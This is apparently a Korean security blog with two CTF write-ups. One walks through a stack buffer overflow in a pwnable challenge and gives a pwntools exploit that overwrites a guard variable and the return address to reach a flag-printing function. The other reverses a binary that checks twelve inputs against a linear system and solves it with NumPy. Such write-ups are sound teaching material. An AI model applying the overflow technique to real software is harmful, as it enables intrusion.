kcw0x466.exe

[Pwnable] VEBof

Wed, 08 Jul 2026 00:00:00 GMT

문제 정보

출처: 2025 제4회 경남권 사이버보안 경진대회
분야: Pwnable
풀이 날짜: 2026. 07. 01

Environment

Architecture : x86-64
OS : Linux
Debugger : GDB + pwndbg
Decompiler: BinaryNinja
Exploit : Python + pwntools

1. 함수 분석

먼저 디컴파일을 통해 주요 함수의 흐름을 파악한다.

main() 함수 분석

int32_t main(int32_t argc, char** argv, char** envp)
{
        int32_t argc_1 = argc;
        char** argv_1 = argv;
        initialize();
        void var_118;
        __builtin_memset(&var_118, 0, 0x100);
        void buf;
        __builtin_memset(&buf, 0, 0x100);
        int32_t var_21c = 0;
        void (* var_10)() = tictoc;
        puts("So, How much data do you want to input?");
        __isoc99_scanf("%d", &var_21c);
        puts("Let's input data!");
        read(0, &buf, (uint64_t)var_21c); // 버퍼 오버플로우 발생하는 부분
        
        if (var_10 == 0xdeadbeef)
            return 0;
        
        puts("Nah...");
        exit(0xffffffff);
        /* no return */
}

입력할 데이터 사이즈와 데이터를 입력받음
if조건을 만족하면 retrurn을하고 만족못하면 exit로 프로그램을 종료함

=> 버퍼 오버플로우를 이용하여 if 조건을 만족시키고 Retrun Address를 수정해야함

printflag() 함수 분석

int64_t printflag()
{
        int64_t var_1008;
        int64_t var_1008_1 = var_1008;
        FILE* fp = fopen("./flag", "r");
        
        if (!fp)
        {
            perror("fopen");
	        return 1;
        }
        
        setvbuf(stdout, nullptr, 2, 0);
        uint64_t rax_1;
        uint64_t count;
        
        do
        {
            void buf;
            count = fread(&buf, 1, 0x1000, fp);
            
            if (!count)
            {
                fclose(fp);
                printf("Flag : %s\n", &buf);
                return 0;
            }
            
            rax_1 = fwrite(&buf, 1, count, stdout);
        } while (count == rax_1);
        perror("fwrite");
        fclose(fp);
        return 1;
}

./flag 파일의 데이터를 출력하는 함수

2. Stack Frame 분석

주요 함수 Address 확인한다.

p <함수명>

함수명	Address
`main`	`0x40145e`
`printflag`	`0x4012ff`

어셈블리를 확인한다.

disas main

main 함수에 입력함수 직전에 브레이크를 걸고 데이터를 입력할때 까지 한 줄씩 코드 실행

// breakpoint 설정 및 실행
b *0x4014ea
r

ni // 한 줄씩 코드 실행

100 입력

aaaaaaaaaaaaaaaaaaaaaa... 입력

스택을 확인한다.

stack 80

지역변수들의 위치를 확인한다.

변수	Address (rbp 기준)	value
`buf`	`rbp-0x210`	`aaaaaaaaaaaaaaaaaaaa.`
`var_10`	`rbp-0x8`	`0x4012b6 (tictoc)`
Return Address	`rbp+0x8`	`0x7ffff7db6d90 (__libc_start_call_main+128)`

이를 통해 rbp-0x210 ~ rbp+0x8 영역까지 버퍼 오버플로우를 시도하여 var_10과 Retrun Address의 값을 변경해야한다는걸 알수있다.

var_10: 0x4012b6 -> 0xdeadbeef
Return Address: 0x7ffff7db6d90 -> 0x0000004012ff

3. Offset 계산

buf부터 var_10까지

0x210 - 0x8 = 0x208

buf부터 Return Address까지

0x210 + 0x8 = 0x218

정리

buf ~ var_10 = 0x208 bytes

buf ~ Return Address = 0x218 bytes

4. Exploit 코드 작성

from pwn import *

context.binary = ELF("./chal")
context.arch = "amd64"

p = process("./chal")

# 주소
PRINTFLAG = 0x4012ff
DEADBEEF = 0xdeadbeef

# 1번째 입력 (정수)
p.sendline(b"600")     

# 2번째 입력 (버퍼 오버플로우)
payload  = b"A" * 0x208          # buf ~ var_10
payload += p64(DEADBEEF)         # var_10 = 0xdeadbeef
payload += b"B" * 8              # saved rbp
payload += p64(PRINTFLAG)        # Return Address overwrite

p.sendline(payload)

p.interactive()

5. 실행

python3 exploit.py

exploit 코드를 실행시키면 flag(임의로 작성한 플래그, 실제 대회때 플래그 아님)가 출력되는걸 확인할수있다.

[Reversing] simultaneous

Tue, 07 Jul 2026 00:00:00 GMT

문제 정보

출처: 정보보안 콘테스트를 위한 CTF 문제집
분야: Reversing
풀이 날짜: 2026. 06. 22

문제

프로그램은 실행 시 12개의 정수를 입력받는다.
입력된 값은 check() 함수에서 검증되며, 모든 조건을 만족하면 입력한 정수들을 ASCII 문자로 출력하여 Flag를 생성한다.
즉, check() 함수의 검증 로직을 분석하여 조건을 만족하는 입력값을 찾는 것이 목표이다.

분석 및 Exploit

프로그램 분석

main() 함수 분석

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int i; // [esp+0h] [ebp-2Ch]
  int j; // [esp+4h] [ebp-28h]
  _DWORD *v5; // [esp+8h] [ebp-24h]
  int status; // [esp+10h] [ebp-1Ch]

  v5 = calloc(4u, argc - 1);
  if ( argc != 13 )
  {
    puts("Usage: ./equation_revenge x1 x2 x3 x4 x5 x6 x7 x8 x9 x10 x11 x12");
    exit(-1);
  }
  for ( i = 0; i < 12; ++i )
    v5[i] = atoi(argv[i + 1]);
  status = check(v5);
  printf("FLAG{");
  for ( j = 0; argc - 1 > j; ++j )
    putchar(v5[j]);
  putchar(125);
  exit(status);
}

IDA에서 main() 함수를 분석한 결과 다음과 같은 흐름을 확인하였다.

입력 인자는 총 12개
atoi()를 이용하여 문자열을 정수 배열로 변환
변환된 배열을 check() 함수로 전달
검증 성공 시 입력값을 문자로 출력하여 Flag 생성

check() 함수 분석

int __cdecl check(int a1)
{
  int i; // [esp+Ch] [ebp-4h]

  for ( i = 0; i <= 11; ++i )
  {
    if ( sum(a1, i) != b[i] )
      return 1;
  }
  return 0;
}

check() 함수를 분석한 결과 전역 변수 int coefficients[144]와 int b[12] 를 이용하여 입력값을 검증하고 있었다.

또한 반복문이 총 12번 수행되며, 조건문에 sum() 함수를 호출한다.

sum() 함수 분석

int __cdecl sum(int a1, int a2)
{
  int v3; // [esp+8h] [ebp-8h]
  int i; // [esp+Ch] [ebp-4h]

  v3 = 0;
  for ( i = 0; i <= 11; ++i )
	// v3 += a1[i] * coefficients[12 * a2 + i]
    v3 += *(_DWORD *)(4 * i + a1) * cofficients[12 * a2 + i]; 
  return v3;
}

a1은 사용자가 입력한 12개의 정수가 저장된 배열의 시작 주소이고, a2는 사용할 계수 행렬의 행 번호이다.

sum() 함수는 입력 배열의 각 원소 a1[i]와 coefficients[12 * a2 + i]를 곱한 뒤 모두 더한다. 즉, 입력 벡터와 coefficients의 a2번째 행을 내적한 결과를 반환한다.

이 반환값은 check() 함수에서 b[a2]와 비교되므로, 하나의 선형방정식이 성립하는지를 검사하는 구조이다.

분석 결과

전역 배열의 크기가 12 × 12 = 144 인 점을 보고 12개의 미지수를 갖는 연립방정식의 계수 행렬이라고 판단하였다.

수식으로 표현하면 다음과 같은 형태이다.

$$ \begin{aligned} -72x_{1}-74x_{2}+91x_{3}+59x_{4}+53x_{5}-95x_{6}-32x_{7}-39x_{8}+93x_{9}+76x_{10}-31x_{11}+22x_{12} &= 4885 \

78x_{1}-84x_{2}-96x_{3}+69x_{4}-21x_{5}-72x_{6}+89x_{7}-26x_{8}+21x_{9}+65x_{10}+3x_{11}+49x_{12} &= 10656 \

-46x_{1}+11x_{2}-39x_{3}+54x_{4}+57x_{5}-14x_{6}+59x_{7}-10x_{8}+77x_{9}-34x_{10}+0x_{11}+99x_{12} &= 14249 \

27x_{1}+4x_{2}+52x_{3}+23x_{4}-x_{5}+43x_{6}-41x_{7}+13x_{8}+9x_{9}-70x_{10}-16x_{11}+91x_{12} &= 7244 \

60x_{1}-92x_{2}+84x_{3}+58x_{4}-8x_{5}-6x_{6}+91x_{7}+8x_{8}-30x_{9}-11x_{10}-5x_{11}-96x_{12} &= 17152 \

-91x_{1}-16x_{2}-96x_{3}+51x_{4}-56x_{5}-85x_{6}-52x_{7}+46x_{8}-78x_{9}+87x_{10}+96x_{11}-83x_{12} &= -22439 \

-32x_{1}-80x_{2}-80x_{3}+54x_{4}-28x_{5}-85x_{6}-38x_{7}-75x_{8}+5x_{9}+32x_{10}-80x_{11}-72x_{12} &= -41829 \

5x_{1}-18x_{2}+6x_{3}+74x_{4}-9x_{5}-64x_{6}+30x_{7}-44x_{8}-26x_{9}-6x_{10}-22x_{11}+13x_{12} &= -7222 \

30x_{1}+61x_{2}-100x_{3}+63x_{4}-19x_{5}-92x_{6}+68x_{7}-38x_{8}-11x_{9}-96x_{10}+44x_{11}-50x_{12} &= -12530 \

59x_{1}+4x_{2}+99x_{3}-62x_{4}-34x_{5}-89x_{6}-52x_{7}+87x_{8}+22x_{9}+38x_{10}+86x_{11}+15x_{12} &= 18797 \

-75x_{1}-92x_{2}-21x_{3}+62x_{4}-77x_{5}-31x_{6}-10x_{7}+90x_{8}+83x_{9}+89x_{10}+66x_{11}-17x_{12} &= 13201 \

-5x_{1}+23x_{2}-29x_{3}+16x_{4}+25x_{5}+50x_{6}+95x_{7}+65x_{8}-57x_{9}+35x_{10}+4x_{11}+22x_{12} &= 22623 \end{aligned} $$

총 12개의 식으로 구성된 연립방정식을 만족하는 해를 구해야 한다.

Exploit

계수 추출

IDA Free에서는 전역 배열 전체를 한 번에 확인하기 어려웠기 때문에 GDB를 이용하여 메모리에서 계수를 직접 추출하였다.

cofficients[144] 전역 배열 데이터 추출

gdb ./equation_revenge
(gdb) x/144dw &cofficients

b[12] 전역 배열 데이터 추출

gdb ./equation_revenge
(gdb) x/12dw &b

연립방정식 풀이

NumPy의 numpy.linalg.solve()를 이용하여 미지수 12개를 계산하였다.

import numpy as np

A = np.array([
    [-72, -74, 91, 59, 53, -95, -32, -39, 93, 76, -31, 22],
    [78, -84, -96, 69, -21, -72, 89, -26, 21, 65, 3, 49],
    [-46, 11, -39, 54, 57, -14, 59, -10, 77, -34, 0, 99],
    [27, 4, 52, 23, -1, 43, -41, 13, 9, -70, -16, 91],
    [60, -92, 84, 58, -8, -6, 91, 8, -30, -11, -5, -96],
    [-91, -16, -96, 51, -56, -85, -52, 46, -78, 87, 96, -83],
    [-32, -80, -80, 54, -28, -85, -38, -75, 5, 32, -80, -72],
    [5, -18, 6, 74, -9, -64, 30, -44, -26, -6, -22, 13],
    [30, 61, -100, 63, -19, -92, 68, -38, -11, -96, 44, -50],
    [59, 4, 99, -62, -34, -89, -52, 87, 22, 38, 86, 15],
    [-75, -92, -21, 62, -77, -31, -10, 90, 83, 89, 66, -17],
    [-5, 23, -29, 16, 25, 50, 95, 65, -57, 35, 4, 22]
], dtype=np.int64)

b = np.array([
    4885, 10656, 14249, 7244, 17152, -22439, -41829, -7222, -12530, 18797, 13201, 22623
], dtype=np.int64)

x = np.linalg.solve(A, b)

print("Solution:")
for i, value in enumerate(x, start=1):
    print(f"x{i} = {value}")

print("\nRounded:")
print(np.round(x).astype(int))

코드 실행 결과:

결과

Flag

파이썬 코드로 구한 연립방정식들의 해를 매개변수로 입력하면 Flag를 얻을 수 있다.

FLAG{z3_beginner!}